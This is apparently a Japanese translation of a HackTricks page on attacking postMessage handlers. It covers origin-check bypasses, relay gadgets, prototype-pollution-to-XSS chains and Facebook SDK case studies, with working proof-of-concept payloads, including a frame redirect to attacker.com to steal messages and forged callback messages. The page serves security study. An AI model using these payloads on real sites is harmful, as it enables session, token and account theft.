PostMessage 脆弱性
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
PostMessage を送信
PostMessage はメッセージを送るために次の関数を使用します:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Note that targetOrigin can be a ‘*’ or an URL like https://company.com.
2番目のシナリオでは、メッセージはそのドメインにしか送信できません (window object の origin が異なる場合でも)。
もし wildcard が使われている場合、メッセージは任意のドメインに送信される可能性があり、Window object の origin に送信されます。
iframe & wildcard を利用した targetOrigin への攻撃
As explained in this report、X-Frame-Header による保護がなく iframed 可能なページを見つけ、かつ postMessage を使い wildcard (*) 指定で機密メッセージを送信している場合、iframe の origin を 変更 して、その機密メッセージをあなたの管理するドメインに leak することができます。
ページが iframed 可能でも、targetOrigin が wildcard ではなく URL に設定されている 場合、この トリックは機能しません。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener は、JSが postMessages を期待する関数を宣言するために使われる関数です。
以下のようなコードが使用されます:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
列挙
現在のページで イベントリスナー を見つけるには、次のようにします:
- JSコードを検索して
window.addEventListenerと$(window).onを探す(JQuery version) - 開発者ツールのコンソールで 実行:
getEventListeners(window)
 (1).png)
- ブラウザの開発者ツールで Elements –> Event Listeners に 移動する
.png)
- https://github.com/benso-io/posta や https://github.com/fransr/postMessage-tracker のような ブラウザ拡張 を使う。これらの拡張は すべてのメッセージをインターセプトして表示してくれます。
Origin チェックのバイパス
event.isTrusted属性は、本物のユーザーアクションで生成されたイベントに対してのみTrueを返すため安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおける重要性は大きいです。- PostMessage イベントでの origin 検証に
indexOf()を使うとバイパスされる可能性があります。以下はその脆弱性の例です:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()のsearch()メソッドは文字列ではなく正規表現向けに設計されています。regexp 以外を渡すと暗黙的に正規表現へ変換されるため、このメソッドは潜在的に安全でない場合があります。正規表現ではドット (.) がワイルドカードとして動作するため、特殊に作られたドメインで検証をバイパスされる可能性があります。例えば:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()関数もsearch()と同様に正規表現を扱います。正規表現が不適切に構成されているとバイパスされる可能性があります。 -
escapeHtml関数は文字をエスケープして入力をサニタイズすることを意図しています。しかし、新しいエスケープ済みオブジェクトを作成するのではなく既存オブジェクトのプロパティを書き換える動作をします。この挙動は悪用可能です。特に、オブジェクトを操作して制御下のプロパティがhasOwnPropertyを認識しないようにできると、escapeHtmlは期待通りに動作しません。以下の例で示します: -
期待される失敗:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- escape のバイパス:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
この脆弱性の文脈では、File オブジェクトが読み取り専用の name プロパティを持つため特に悪用されやすいです。このプロパティがテンプレートで使われると、escapeHtml によってサニタイズされず、セキュリティリスクにつながります。
- JavaScript の
document.domainプロパティはスクリプトによって設定され、ドメインを短縮して同一親ドメイン内でより緩い same-origin ポリシーの適用を可能にします。
Origin-only trust + trusted relays
受信側が event.origin のみをチェックしている場合(例: *.trusted.com のように信頼する)、その origin 上に攻撃者制御のパラメータを受け取って postMessage で指定された targetOrigin/targetWindow に反映するような “リレーページ” を見つけられることがよくあります。例としては、クエリパラメータを取り {msg_type, access_token, ...} を opener/parent に転送するマーケティング/分析用のガジェットなどがあります。やれることは:
openerを持つ popup/iframe で被害者ページを開き、そのハンドラを登録させる(多くのピクセル/SDK はwindow.openerが存在する場合にのみリスナーをアタッチする)- 別の攻撃者ウィンドウを信頼された origin のリレーエンドポイントへ移動させ、注入したいメッセージフィールド(message type, tokens, nonces)を埋める
- メッセージが 信頼された origin から来る ため、origin のみの検証を通過し、被害者のリスナー内で特権的な動作(状態変更、API 呼び出し、DOM 書き換え)を引き起こすことができる
野外で見られる濫用パターン:
- Analytics SDK(例: pixel/fbevents スタイル)は
FACEBOOK_IWL_BOOTSTRAPのようなメッセージを消費し、メッセージで渡されたトークンを使ってバックエンド API を呼び出し、リクエストボディにlocation.href/document.referrerを含めることがあります。自分のトークンを供給すると、そのトークンのリクエスト履歴/ログからこれらのリクエストを読み取り、被害者ページの URL/referrer に含まれる OAuth コード/トークンを exfiltrate できます。 - 任意のフィールドを
postMessageに反映するリレーは、特権リスナーが期待するメッセージタイプを spoof させます。弱い入力検証と組み合わせると Graph/REST 呼び出し、機能アンロック、CSRF 相当のフローに到達できます。
探索のヒント: postMessage リスナーの中で event.origin のみをチェックしているものを列挙し、次に URL パラメータを postMessage 経由で転送する 同一オリジンの HTML/JS エンドポイント(マーケティングプレビュー、ログインポップアップ、OAuth エラーページなど)を探します。window.open() + postMessage を組み合わせて origin チェックをバイパスします。
e.origin == window.origin bypass
sandboxed iframe を %%%%%% を使って埋め込むとき、iframe の origin が null に設定されることを理解することが重要です。sandbox 属性とそのセキュリティ・機能への影響を特に注意してください。
sandbox 属性に allow-popups を指定すると、iframe 内から開かれた popup ウィンドウは親の sandbox 制限を継承します。つまり、allow-popups-to-escape-sandbox 属性も含まれていない限り、popup ウィンドウの origin も同様に null に設定され、iframe の origin と一致します。
そのため、これらの条件下で popup が開かれ、iframe から popup に postMessage でメッセージが送られると、送信側・受信側の双方の origin は null に設定されます。結果として e.origin == window.origin は true(null == null)となります。これは iframe と popup が同じ origin 値 null を共有するためです。
For more information read:
Bypassing SOP with Iframes - 1
Bypassing e.source
メッセージがスクリプトがリッスンしている同じウィンドウから来たかどうかをチェックすることが可能です(特に ブラウザ拡張の Content Scripts がメッセージが同じページから送られたか確認する場合に興味深いです):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
メッセージの**e.sourceをnullにするには、iframeを作成し、それがpostMessageを送信**し、即座に削除されるようにします。
For more information read:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
これらの攻撃を実行するには、理想的にはput the victim web pageをiframe内に配置できる必要があります。しかし、X-Frame-Headerのようなヘッダーはその挙動を妨げることがあります。
そのようなシナリオでは、より目立つ攻撃を使うことも可能です。脆弱なwebアプリケーションを新しいタブで開き、それと通信することができます:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
メインページをブロックして child iframe に送信されたメッセージを盗む
次のページでは、データが送信される前にblockingしてmainページを止め、child iframeに送られたsensitive postmessage dataを盗み、XSS in the childを悪用して受信される前にleak the dataする方法を見ることができます:
Blocking main page to steal postmessage
iframe の location を変更してメッセージを盗む
別の iframe を含み、X-Frame-Header を設定していないウェブページを iframe にできる場合、change the location of that child iframeことが可能です。もしその子 iframe が postmessage を wildcard を使って受信していると、攻撃者はその iframe の origin を自分が controlled するページに change し、メッセージを steal できます:
Steal postmessage modifying iframe location
postMessage to Prototype Pollution and/or XSS
postMessage を通じて送られたデータが JS によって実行される場合、iframeでそのpageを読み込み、postMessage 経由でエクスプロイトを送ってprototype pollution/XSSをexploitすることができます。
postMessage を介した XSS を非常に詳しく説明したものがいくつか見つかります: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
iframe に対する postMessage を通じて Prototype Pollution and then XSS を悪用するエクスプロイトの例:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
詳細情報:
- prototype pollution についてのページへのリンク
- XSS についてのページへのリンク
- client side prototype pollution to XSS についてのページへのリンク
オリジン由来のスクリプト読み込みとサプライチェーン・ピボット(CAPIG ケーススタディ)
capig-events.js は window.opener が存在する場合にのみ message ハンドラを登録しました。IWL_BOOTSTRAP 時に pixel_id をチェックしましたが event.origin を保存し、後で ${host}/sdk/${pixel_id}/iwl.js を構築するために使用しました。
攻撃者制御の origin を書き込むハンドラ
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Get an opener: 例えば Facebook Android WebView では
window.open(target, name)と共にwindow.nameを再利用してウィンドウを自身の opener にし、悪意ある iframe からpostMessageを送る。 - 任意の origin から
IWL_BOOTSTRAPを送信してhost = event.originをlocalStorageに永続化する。 - 任意の CSP 許可された origin に
/sdk/<pixel_id>/iwl.jsをホストする(ホワイトリスト化された analytics ドメインの takeover/XSS/アップロード等)。startIWL()が埋め込みサイト(例:www.meta.com)で攻撃者の JS を読み込み、資格情報付きのクロスオリジン呼び出しやアカウント乗っ取りを可能にする。
直接的に opener を制御できない場合でも、ページ上のサードパーティ iframe を侵害すれば、親へ細工した postMessage を送って格納された host を汚染し、スクリプトの読み込みを強制できた。
Backend-generated shared script → stored XSS: プラグイン AHPixelIWLParametersPlugin はユーザールールのパラメータを capig-events.js に追加される JS に連結していた(例: cbq.config.set(...))。"]} のようなブレイクアウトを挿入すると任意の JS が注入され、これを読み込むすべてのサイトに配信される共有スクリプトに stored XSS を作成した。
Trusted-origin allowlist isn’t a boundary
厳格な event.origin チェックは、trusted origin が攻撃者の JS を実行できない場合にのみ有効である。特権ページがサードパーティ iframe を埋め込み、event.origin === "https://partner.com" が安全だと仮定すると、partner.com 内のいかなる XSS も親への橋渡しとなる:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
実際に観測された攻撃パターン:
- パートナーの iframe で XSS を悪用し、リレーガジェットを配置して、任意の
postMessageが信頼されたオリジン内で code exec になるようにする:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, compromised iframe に JS を送り、許可された message type を parent に転送させる。メッセージは
partner.comから発信され、allowlist を通過し、安全でない方法で挿入される HTML を含む:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- 親フレームが攻撃者の HTML を注入し、 JS execution in the parent origin(例:
facebook.com)を発生させます。これにより OAuth コードの窃取やアカウント完全乗っ取りへのピボットに利用できます。
Key takeaways:
- Partner origin isn’t a boundary: 「信頼された」パートナー内の任意の XSS により、攻撃者は
event.originチェックを回避する許可されたメッセージを送信できます。 - Handlers that render partner-controlled payloads (例:
innerHTMLon specific message types) は、パートナーの侵害を同一オリジンの DOM XSS にします。 - 幅広い message surface(多くのタイプ、構造検証なし)は、パートナー iframe が侵害された後のピボット用ガジェットを増やします。
Predicting Math.random() callback tokens in postMessage bridges
メッセージ検証が Math.random() で生成された「shared secret」(例: guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") })を使い、かつ同じヘルパーがプラグイン iframe に名前を付ける場合、PRNG 出力を回復して信頼されたメッセージを偽造できます:
- Leak PRNG outputs via
window.name: SDK はプラグイン iframe をguid()で自動命名します。トップフレームを制御できる場合、被害者ページを iframe 化し、プラグイン iframe を自分の origin にナビゲート(例:window.frames[0].frames[0].location='https://attacker.com')して、window.frames[0].frames[0].nameを読み取ると生のMath.random()出力を得られます。 - Force more outputs without reloads: 一部の SDK は再初期化パスを公開しています。FB SDK では
{xfbml:1}を伴うinit:postを送るとXFBML.parse()が強制され、プラグイン iframe が破棄・再作成されて新しい名前/コールバック ID が生成されます。再初期化を繰り返すことで必要なだけ PRNG 出力を得られます(コールバック/iframe ID 用の追加内部Math.random()呼び出しがあるため、間の値をスキップする必要があります)。 - Trusted-origin delivery via parameter pollution: ファーストパーティのプラグインエンドポイントが未サニタイズのパラメータをクロスウィンドウのペイロードに反映する場合(例:
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET)、信頼されたfacebook.comorigin を維持したまま&type=...&iconSVG=...を注入できます。 - Predict the next callback: 漏洩した iframe 名を
[0,1)の浮動小数点に戻し、複数の値(非連続でも可)を V8 のMath.random予測器(例: Z3 ベース)に入力します。ローカルで次のguid()を生成して期待されるコールバックトークンを偽造します。 - Trigger the sink: postMessage データを作成してブリッジが
xd.mpn.setupIconIframeをディスパッチし、iconSVGに HTML(例: URL エンコードされた<img src=x onerror=...>)を注入するようにすると、ホスティング origin 内で DOM XSS が発生します。そこから同一オリジンの iframe(OAuth ダイアログ、arbiters、など)を読み取れます。 - Framing quirks help: このチェーンはフレーミングを必要とします。いくつかのモバイル webview では、
frame-ancestorsが存在するとX-Frame-OptionsがサポートされないALLOW-FROMに退化することがあり、“compat” パラメータが寛容なframe-ancestorsを強制してwindow.nameサイドチャネルを有効にする場合があります。
Minimal forged message example
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
参考資料
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- 練習用: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


